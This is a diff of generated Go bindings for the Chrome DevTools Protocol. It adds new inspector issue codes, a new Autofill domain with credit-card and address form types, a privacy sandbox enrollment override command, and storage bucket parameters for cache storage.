InspectorIssueCodeLowTextContrastIssue InspectorIssueCode = "LowTextContrastIssue"
|
||||
InspectorIssueCodeCorsIssue InspectorIssueCode = "CorsIssue"
|
||||
InspectorIssueCodeAttributionReportingIssue InspectorIssueCode = "AttributionReportingIssue"
|
||||
InspectorIssueCodeQuirksModeIssue InspectorIssueCode = "QuirksModeIssue"
|
||||
InspectorIssueCodeNavigatorUserAgentIssue InspectorIssueCode = "NavigatorUserAgentIssue"
|
||||
InspectorIssueCodeGenericIssue InspectorIssueCode = "GenericIssue"
|
||||
InspectorIssueCodeDeprecationIssue InspectorIssueCode = "DeprecationIssue"
|
||||
InspectorIssueCodeClientHintIssue InspectorIssueCode = "ClientHintIssue"
|
||||
InspectorIssueCodeFederatedAuthRequestIssue InspectorIssueCode = "FederatedAuthRequestIssue"
|
||||
InspectorIssueCodeCookieIssue InspectorIssueCode = "CookieIssue"
|
||||
InspectorIssueCodeMixedContentIssue InspectorIssueCode = "MixedContentIssue"
|
||||
InspectorIssueCodeBlockedByResponseIssue InspectorIssueCode = "BlockedByResponseIssue"
|
||||
InspectorIssueCodeHeavyAdIssue InspectorIssueCode = "HeavyAdIssue"
|
||||
InspectorIssueCodeContentSecurityPolicyIssue InspectorIssueCode = "ContentSecurityPolicyIssue"
|
||||
InspectorIssueCodeSharedArrayBufferIssue InspectorIssueCode = "SharedArrayBufferIssue"
|
||||
InspectorIssueCodeLowTextContrastIssue InspectorIssueCode = "LowTextContrastIssue"
|
||||
InspectorIssueCodeCorsIssue InspectorIssueCode = "CorsIssue"
|
||||
InspectorIssueCodeAttributionReportingIssue InspectorIssueCode = "AttributionReportingIssue"
|
||||
InspectorIssueCodeQuirksModeIssue InspectorIssueCode = "QuirksModeIssue"
|
||||
InspectorIssueCodeNavigatorUserAgentIssue InspectorIssueCode = "NavigatorUserAgentIssue"
|
||||
InspectorIssueCodeGenericIssue InspectorIssueCode = "GenericIssue"
|
||||
InspectorIssueCodeDeprecationIssue InspectorIssueCode = "DeprecationIssue"
|
||||
InspectorIssueCodeClientHintIssue InspectorIssueCode = "ClientHintIssue"
|
||||
InspectorIssueCodeFederatedAuthRequestIssue InspectorIssueCode = "FederatedAuthRequestIssue"
|
||||
InspectorIssueCodeBounceTrackingIssue InspectorIssueCode = "BounceTrackingIssue"
|
||||
InspectorIssueCodeStylesheetLoadingIssue InspectorIssueCode = "StylesheetLoadingIssue"
|
||||
InspectorIssueCodeFederatedAuthUserInfoRequestIssue InspectorIssueCode = "FederatedAuthUserInfoRequestIssue"
|
||||
InspectorIssueCodePropertyRuleIssue InspectorIssueCode = "PropertyRuleIssue"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -1244,8 +1443,6 @@ func (t *InspectorIssueCode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = InspectorIssueCodeContentSecurityPolicyIssue
|
||||
case InspectorIssueCodeSharedArrayBufferIssue:
|
||||
*t = InspectorIssueCodeSharedArrayBufferIssue
|
||||
case InspectorIssueCodeTrustedWebActivityIssue:
|
||||
*t = InspectorIssueCodeTrustedWebActivityIssue
|
||||
case InspectorIssueCodeLowTextContrastIssue:
|
||||
*t = InspectorIssueCodeLowTextContrastIssue
|
||||
case InspectorIssueCodeCorsIssue:
|
||||
@@ -1264,6 +1461,14 @@ func (t *InspectorIssueCode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = InspectorIssueCodeClientHintIssue
|
||||
case InspectorIssueCodeFederatedAuthRequestIssue:
|
||||
*t = InspectorIssueCodeFederatedAuthRequestIssue
|
||||
case InspectorIssueCodeBounceTrackingIssue:
|
||||
*t = InspectorIssueCodeBounceTrackingIssue
|
||||
case InspectorIssueCodeStylesheetLoadingIssue:
|
||||
*t = InspectorIssueCodeStylesheetLoadingIssue
|
||||
case InspectorIssueCodeFederatedAuthUserInfoRequestIssue:
|
||||
*t = InspectorIssueCodeFederatedAuthUserInfoRequestIssue
|
||||
case InspectorIssueCodePropertyRuleIssue:
|
||||
*t = InspectorIssueCodePropertyRuleIssue
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown InspectorIssueCode value: %v", v))
|
||||
@@ -1281,22 +1486,24 @@ func (t *InspectorIssueCode) UnmarshalJSON(buf []byte) error {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-InspectorIssueDetails
|
||||
type InspectorIssueDetails struct {
|
||||
CookieIssueDetails *CookieIssueDetails `json:"cookieIssueDetails,omitempty"`
|
||||
MixedContentIssueDetails *MixedContentIssueDetails `json:"mixedContentIssueDetails,omitempty"`
|
||||
BlockedByResponseIssueDetails *BlockedByResponseIssueDetails `json:"blockedByResponseIssueDetails,omitempty"`
|
||||
HeavyAdIssueDetails *HeavyAdIssueDetails `json:"heavyAdIssueDetails,omitempty"`
|
||||
ContentSecurityPolicyIssueDetails *ContentSecurityPolicyIssueDetails `json:"contentSecurityPolicyIssueDetails,omitempty"`
|
||||
SharedArrayBufferIssueDetails *SharedArrayBufferIssueDetails `json:"sharedArrayBufferIssueDetails,omitempty"`
|
||||
TwaQualityEnforcementDetails *TrustedWebActivityIssueDetails `json:"twaQualityEnforcementDetails,omitempty"`
|
||||
LowTextContrastIssueDetails *LowTextContrastIssueDetails `json:"lowTextContrastIssueDetails,omitempty"`
|
||||
CorsIssueDetails *CorsIssueDetails `json:"corsIssueDetails,omitempty"`
|
||||
AttributionReportingIssueDetails *AttributionReportingIssueDetails `json:"attributionReportingIssueDetails,omitempty"`
|
||||
QuirksModeIssueDetails *QuirksModeIssueDetails `json:"quirksModeIssueDetails,omitempty"`
|
||||
NavigatorUserAgentIssueDetails *NavigatorUserAgentIssueDetails `json:"navigatorUserAgentIssueDetails,omitempty"`
|
||||
GenericIssueDetails *GenericIssueDetails `json:"genericIssueDetails,omitempty"`
|
||||
DeprecationIssueDetails *DeprecationIssueDetails `json:"deprecationIssueDetails,omitempty"`
|
||||
ClientHintIssueDetails *ClientHintIssueDetails `json:"clientHintIssueDetails,omitempty"`
|
||||
FederatedAuthRequestIssueDetails *FederatedAuthRequestIssueDetails `json:"federatedAuthRequestIssueDetails,omitempty"`
|
||||
CookieIssueDetails *CookieIssueDetails `json:"cookieIssueDetails,omitempty"`
|
||||
MixedContentIssueDetails *MixedContentIssueDetails `json:"mixedContentIssueDetails,omitempty"`
|
||||
BlockedByResponseIssueDetails *BlockedByResponseIssueDetails `json:"blockedByResponseIssueDetails,omitempty"`
|
||||
HeavyAdIssueDetails *HeavyAdIssueDetails `json:"heavyAdIssueDetails,omitempty"`
|
||||
ContentSecurityPolicyIssueDetails *ContentSecurityPolicyIssueDetails `json:"contentSecurityPolicyIssueDetails,omitempty"`
|
||||
SharedArrayBufferIssueDetails *SharedArrayBufferIssueDetails `json:"sharedArrayBufferIssueDetails,omitempty"`
|
||||
LowTextContrastIssueDetails *LowTextContrastIssueDetails `json:"lowTextContrastIssueDetails,omitempty"`
|
||||
CorsIssueDetails *CorsIssueDetails `json:"corsIssueDetails,omitempty"`
|
||||
AttributionReportingIssueDetails *AttributionReportingIssueDetails `json:"attributionReportingIssueDetails,omitempty"`
|
||||
QuirksModeIssueDetails *QuirksModeIssueDetails `json:"quirksModeIssueDetails,omitempty"`
|
||||
GenericIssueDetails *GenericIssueDetails `json:"genericIssueDetails,omitempty"`
|
||||
DeprecationIssueDetails *DeprecationIssueDetails `json:"deprecationIssueDetails,omitempty"`
|
||||
ClientHintIssueDetails *ClientHintIssueDetails `json:"clientHintIssueDetails,omitempty"`
|
||||
FederatedAuthRequestIssueDetails *FederatedAuthRequestIssueDetails `json:"federatedAuthRequestIssueDetails,omitempty"`
|
||||
BounceTrackingIssueDetails *BounceTrackingIssueDetails `json:"bounceTrackingIssueDetails,omitempty"`
|
||||
StylesheetLoadingIssueDetails *StylesheetLoadingIssueDetails `json:"stylesheetLoadingIssueDetails,omitempty"`
|
||||
PropertyRuleIssueDetails *PropertyRuleIssueDetails `json:"propertyRuleIssueDetails,omitempty"`
|
||||
FederatedAuthUserInfoRequestIssueDetails *FederatedAuthUserInfoRequestIssueDetails `json:"federatedAuthUserInfoRequestIssueDetails,omitempty"`
|
||||
}
|
||||
|
||||
// IssueID a unique id for a DevTools inspector issue. Allows other entities
|
||||
|
||||
+113
@@ -0,0 +1,113 @@
|
||||
// Package autofill provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the Autofill domain.
|
||||
//
|
||||
// Defines commands and events for Autofill.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package autofill
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
)
|
||||
|
||||
// TriggerParams trigger autofill on a form identified by the fieldId. If the
|
||||
// field and related form cannot be autofilled, returns an error.
|
||||
type TriggerParams struct {
|
||||
FieldID cdp.BackendNodeID `json:"fieldId"` // Identifies a field that serves as an anchor for autofill.
|
||||
FrameID cdp.FrameID `json:"frameId,omitempty"` // Identifies the frame that field belongs to.
|
||||
Card *CreditCard `json:"card"` // Credit card information to fill out the form. Credit card data is not saved.
|
||||
}
|
||||
|
||||
// Trigger trigger autofill on a form identified by the fieldId. If the field
|
||||
// and related form cannot be autofilled, returns an error.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#method-trigger
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// fieldID - Identifies a field that serves as an anchor for autofill.
|
||||
// card - Credit card information to fill out the form. Credit card data is not saved.
|
||||
func Trigger(fieldID cdp.BackendNodeID, card *CreditCard) *TriggerParams {
|
||||
return &TriggerParams{
|
||||
FieldID: fieldID,
|
||||
Card: card,
|
||||
}
|
||||
}
|
||||
|
||||
// WithFrameID identifies the frame that field belongs to.
|
||||
func (p TriggerParams) WithFrameID(frameID cdp.FrameID) *TriggerParams {
|
||||
p.FrameID = frameID
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes Autofill.trigger against the provided context.
|
||||
func (p *TriggerParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandTrigger, p, nil)
|
||||
}
|
||||
|
||||
// SetAddressesParams set addresses so that developers can verify their forms
|
||||
// implementation.
|
||||
type SetAddressesParams struct {
|
||||
Addresses []*Address `json:"addresses"`
|
||||
}
|
||||
|
||||
// SetAddresses set addresses so that developers can verify their forms
|
||||
// implementation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#method-setAddresses
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// addresses
|
||||
func SetAddresses(addresses []*Address) *SetAddressesParams {
|
||||
return &SetAddressesParams{
|
||||
Addresses: addresses,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Autofill.setAddresses against the provided context.
|
||||
func (p *SetAddressesParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetAddresses, p, nil)
|
||||
}
|
||||
|
||||
// DisableParams disables autofill domain notifications.
|
||||
type DisableParams struct{}
|
||||
|
||||
// Disable disables autofill domain notifications.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#method-disable
|
||||
func Disable() *DisableParams {
|
||||
return &DisableParams{}
|
||||
}
|
||||
|
||||
// Do executes Autofill.disable against the provided context.
|
||||
func (p *DisableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDisable, nil, nil)
|
||||
}
|
||||
|
||||
// EnableParams enables autofill domain notifications.
|
||||
type EnableParams struct{}
|
||||
|
||||
// Enable enables autofill domain notifications.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#method-enable
|
||||
func Enable() *EnableParams {
|
||||
return &EnableParams{}
|
||||
}
|
||||
|
||||
// Do executes Autofill.enable against the provided context.
|
||||
func (p *EnableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandEnable, nil, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandTrigger = "Autofill.trigger"
|
||||
CommandSetAddresses = "Autofill.setAddresses"
|
||||
CommandDisable = "Autofill.disable"
|
||||
CommandEnable = "Autofill.enable"
|
||||
)
|
||||
+1066
File diff suppressed because it is too large.
Load diff
+11
@@ -0,0 +1,11 @@
|
||||
package autofill
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// EventAddressFormFilled emitted when an address form is filled.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#event-addressFormFilled
|
||||
type EventAddressFormFilled struct {
|
||||
FilledFields []*FilledField `json:"filledFields"` // Information about the fields that were filled
|
||||
AddressUI *AddressUI `json:"addressUi"` // An UI representation of the address used to fill the form. Consists of a 2D array where each child represents an address/profile line.
|
||||
}
|
||||
+115
@@ -0,0 +1,115 @@
|
||||
package autofill
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// CreditCard [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-CreditCard
|
||||
type CreditCard struct {
|
||||
Number string `json:"number"` // 16-digit credit card number.
|
||||
Name string `json:"name"` // Name of the credit card owner.
|
||||
ExpiryMonth string `json:"expiryMonth"` // 2-digit expiry month.
|
||||
ExpiryYear string `json:"expiryYear"` // 4-digit expiry year.
|
||||
Cvc string `json:"cvc"` // 3-digit card verification code.
|
||||
}
|
||||
|
||||
// AddressField [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-AddressField
|
||||
type AddressField struct {
|
||||
Name string `json:"name"` // address field name, for example GIVEN_NAME.
|
||||
Value string `json:"value"` // address field value, for example Jon Doe.
|
||||
}
|
||||
|
||||
// AddressFields a list of address fields.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-AddressFields
|
||||
type AddressFields struct {
|
||||
Fields []*AddressField `json:"fields"`
|
||||
}
|
||||
|
||||
// Address [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-Address
|
||||
type Address struct {
|
||||
Fields []*AddressField `json:"fields"` // fields and values defining an address.
|
||||
}
|
||||
|
||||
// AddressUI defines how an address can be displayed like in
|
||||
// chrome://settings/addresses. Address UI is a two dimensional array, each
|
||||
// inner array is an "address information line", and when rendered in a UI
|
||||
// surface should be displayed as such. The following address UI for instance:
|
||||
// [[{name: "GIVE_NAME", value: "Jon"}, {name: "FAMILY_NAME", value: "Doe"}],
|
||||
// [{name: "CITY", value: "Munich"}, {name: "ZIP", value: "81456"}]] should
|
||||
// allow the receiver to render: Jon Doe Munich 81456.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-AddressUI
|
||||
type AddressUI struct {
|
||||
AddressFields []*AddressFields `json:"addressFields"` // A two dimension array containing the repesentation of values from an address profile.
|
||||
}
|
||||
|
||||
// FillingStrategy specified whether a filled field was done so by using the
|
||||
// html autocomplete attribute or autofill heuristics.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-FillingStrategy
|
||||
type FillingStrategy string
|
||||
|
||||
// String returns the FillingStrategy as string value.
|
||||
func (t FillingStrategy) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// FillingStrategy values.
|
||||
const (
|
||||
FillingStrategyAutocompleteAttribute FillingStrategy = "autocompleteAttribute"
|
||||
FillingStrategyAutofillInferred FillingStrategy = "autofillInferred"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t FillingStrategy) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t FillingStrategy) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *FillingStrategy) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch FillingStrategy(v) {
|
||||
case FillingStrategyAutocompleteAttribute:
|
||||
*t = FillingStrategyAutocompleteAttribute
|
||||
case FillingStrategyAutofillInferred:
|
||||
*t = FillingStrategyAutofillInferred
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown FillingStrategy value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *FillingStrategy) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// FilledField [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-FilledField
|
||||
type FilledField struct {
|
||||
HTMLType string `json:"htmlType"` // The type of the field, e.g text, password etc.
|
||||
ID string `json:"id"` // the html id
|
||||
Name string `json:"name"` // the html name
|
||||
Value string `json:"value"` // the field value
|
||||
AutofillType string `json:"autofillType"` // The actual field type, e.g FAMILY_NAME
|
||||
FillingStrategy FillingStrategy `json:"fillingStrategy"` // The filling strategy
|
||||
}
|
||||
+45
-17
@@ -579,23 +579,51 @@ func (p *ExecuteBrowserCommandParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandExecuteBrowserCommand, p, nil)
|
||||
}
|
||||
|
||||
// AddPrivacySandboxEnrollmentOverrideParams allows a site to use privacy
|
||||
// sandbox features that require enrollment without the site actually being
|
||||
// enrolled. Only supported on page targets.
|
||||
type AddPrivacySandboxEnrollmentOverrideParams struct {
|
||||
URL string `json:"url"`
|
||||
}
|
||||
|
||||
// AddPrivacySandboxEnrollmentOverride allows a site to use privacy sandbox
|
||||
// features that require enrollment without the site actually being enrolled.
|
||||
// Only supported on page targets.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-addPrivacySandboxEnrollmentOverride
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// url
|
||||
func AddPrivacySandboxEnrollmentOverride(url string) *AddPrivacySandboxEnrollmentOverrideParams {
|
||||
return &AddPrivacySandboxEnrollmentOverrideParams{
|
||||
URL: url,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Browser.addPrivacySandboxEnrollmentOverride against the provided context.
|
||||
func (p *AddPrivacySandboxEnrollmentOverrideParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandAddPrivacySandboxEnrollmentOverride, p, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandSetPermission = "Browser.setPermission"
|
||||
CommandGrantPermissions = "Browser.grantPermissions"
|
||||
CommandResetPermissions = "Browser.resetPermissions"
|
||||
CommandSetDownloadBehavior = "Browser.setDownloadBehavior"
|
||||
CommandCancelDownload = "Browser.cancelDownload"
|
||||
CommandClose = "Browser.close"
|
||||
CommandCrash = "Browser.crash"
|
||||
CommandCrashGpuProcess = "Browser.crashGpuProcess"
|
||||
CommandGetVersion = "Browser.getVersion"
|
||||
CommandGetBrowserCommandLine = "Browser.getBrowserCommandLine"
|
||||
CommandGetHistograms = "Browser.getHistograms"
|
||||
CommandGetHistogram = "Browser.getHistogram"
|
||||
CommandGetWindowBounds = "Browser.getWindowBounds"
|
||||
CommandGetWindowForTarget = "Browser.getWindowForTarget"
|
||||
CommandSetWindowBounds = "Browser.setWindowBounds"
|
||||
CommandSetDockTile = "Browser.setDockTile"
|
||||
CommandExecuteBrowserCommand = "Browser.executeBrowserCommand"
|
||||
CommandSetPermission = "Browser.setPermission"
|
||||
CommandGrantPermissions = "Browser.grantPermissions"
|
||||
CommandResetPermissions = "Browser.resetPermissions"
|
||||
CommandSetDownloadBehavior = "Browser.setDownloadBehavior"
|
||||
CommandCancelDownload = "Browser.cancelDownload"
|
||||
CommandClose = "Browser.close"
|
||||
CommandCrash = "Browser.crash"
|
||||
CommandCrashGpuProcess = "Browser.crashGpuProcess"
|
||||
CommandGetVersion = "Browser.getVersion"
|
||||
CommandGetBrowserCommandLine = "Browser.getBrowserCommandLine"
|
||||
CommandGetHistograms = "Browser.getHistograms"
|
||||
CommandGetHistogram = "Browser.getHistogram"
|
||||
CommandGetWindowBounds = "Browser.getWindowBounds"
|
||||
CommandGetWindowForTarget = "Browser.getWindowForTarget"
|
||||
CommandSetWindowBounds = "Browser.setWindowBounds"
|
||||
CommandSetDockTile = "Browser.setDockTile"
|
||||
CommandExecuteBrowserCommand = "Browser.executeBrowserCommand"
|
||||
CommandAddPrivacySandboxEnrollmentOverride = "Browser.addPrivacySandboxEnrollmentOverride"
|
||||
)
|
||||
+66
@@ -2419,3 +2419,69 @@ func (v *Bounds) UnmarshalJSON(data []byte) error {
|
||||
func (v *Bounds) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBrowser28(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBrowser29(in *jlexer.Lexer, out *AddPrivacySandboxEnrollmentOverrideParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "url":
|
||||
out.URL = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBrowser29(out *jwriter.Writer, in AddPrivacySandboxEnrollmentOverrideParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"url\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.URL))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v AddPrivacySandboxEnrollmentOverrideParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBrowser29(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v AddPrivacySandboxEnrollmentOverrideParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBrowser29(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *AddPrivacySandboxEnrollmentOverrideParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBrowser29(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *AddPrivacySandboxEnrollmentOverrideParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBrowser29(l, v)
|
||||
}
|
||||
+13
-4
@@ -10,6 +10,7 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/storage"
|
||||
)
|
||||
|
||||
// DeleteCacheParams deletes a cache.
|
||||
@@ -63,8 +64,9 @@ func (p *DeleteEntryParams) Do(ctx context.Context) (err error) {
|
||||
|
||||
// RequestCacheNamesParams requests cache names.
|
||||
type RequestCacheNamesParams struct {
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey, storageBucket must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
StorageBucket *storage.Bucket `json:"storageBucket,omitempty"` // Storage bucket. If not specified, it uses the default bucket.
|
||||
}
|
||||
|
||||
// RequestCacheNames requests cache names.
|
||||
@@ -76,8 +78,8 @@ func RequestCacheNames() *RequestCacheNamesParams {
|
||||
return &RequestCacheNamesParams{}
|
||||
}
|
||||
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey
|
||||
// must be specified. Security origin.
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey,
|
||||
// storageBucket must be specified. Security origin.
|
||||
func (p RequestCacheNamesParams) WithSecurityOrigin(securityOrigin string) *RequestCacheNamesParams {
|
||||
p.SecurityOrigin = securityOrigin
|
||||
return &p
|
||||
@@ -89,6 +91,13 @@ func (p RequestCacheNamesParams) WithStorageKey(storageKey string) *RequestCache
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithStorageBucket storage bucket. If not specified, it uses the default
|
||||
// bucket.
|
||||
func (p RequestCacheNamesParams) WithStorageBucket(storageBucket *storage.Bucket) *RequestCacheNamesParams {
|
||||
p.StorageBucket = storageBucket
|
||||
return &p
|
||||
}
|
||||
|
||||
// RequestCacheNamesReturns return values.
|
||||
type RequestCacheNamesReturns struct {
|
||||
Caches []*Cache `json:"caches,omitempty"` // Caches for the security origin.
|
||||
|
||||
+36
@@ -4,6 +4,7 @@ package cachestorage
|
||||
|
||||
import (
|
||||
json "encoding/json"
|
||||
storage "github.com/chromedp/cdproto/storage"
|
||||
easyjson "github.com/mailru/easyjson"
|
||||
jlexer "github.com/mailru/easyjson/jlexer"
|
||||
jwriter "github.com/mailru/easyjson/jwriter"
|
||||
@@ -556,6 +557,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCachestorage5(in *jlexer.Lexe
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
case "storageBucket":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.StorageBucket = nil
|
||||
} else {
|
||||
if out.StorageBucket == nil {
|
||||
out.StorageBucket = new(storage.Bucket)
|
||||
}
|
||||
(*out.StorageBucket).UnmarshalEasyJSON(in)
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -586,6 +597,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCachestorage5(out *jwriter.Wr
|
||||
}
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
if in.StorageBucket != nil {
|
||||
const prefix string = ",\"storageBucket\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
(*in.StorageBucket).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
@@ -1118,6 +1139,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCachestorage11(in *jlexer.Lex
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
case "storageBucket":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.StorageBucket = nil
|
||||
} else {
|
||||
if out.StorageBucket == nil {
|
||||
out.StorageBucket = new(storage.Bucket)
|
||||
}
|
||||
(*out.StorageBucket).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "cacheName":
|
||||
out.CacheName = string(in.String())
|
||||
default:
|
||||
@@ -1149,6 +1180,11 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCachestorage11(out *jwriter.W
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
if in.StorageBucket != nil {
|
||||
const prefix string = ",\"storageBucket\":"
|
||||
out.RawString(prefix)
|
||||
(*in.StorageBucket).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"cacheName\":"
|
||||
out.RawString(prefix)
|
||||
|
||||
+6
-4
@@ -5,6 +5,7 @@ package cachestorage
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/chromedp/cdproto/storage"
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
@@ -95,10 +96,11 @@ type DataEntry struct {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-Cache
|
||||
type Cache struct {
|
||||
CacheID CacheID `json:"cacheId"` // An opaque unique id of the cache.
|
||||
SecurityOrigin string `json:"securityOrigin"` // Security origin of the cache.
|
||||
StorageKey string `json:"storageKey"` // Storage key of the cache.
|
||||
CacheName string `json:"cacheName"` // The name of the cache.
|
||||
CacheID CacheID `json:"cacheId"` // An opaque unique id of the cache.
|
||||
SecurityOrigin string `json:"securityOrigin"` // Security origin of the cache.
|
||||
StorageKey string `json:"storageKey"` // Storage key of the cache.
|
||||
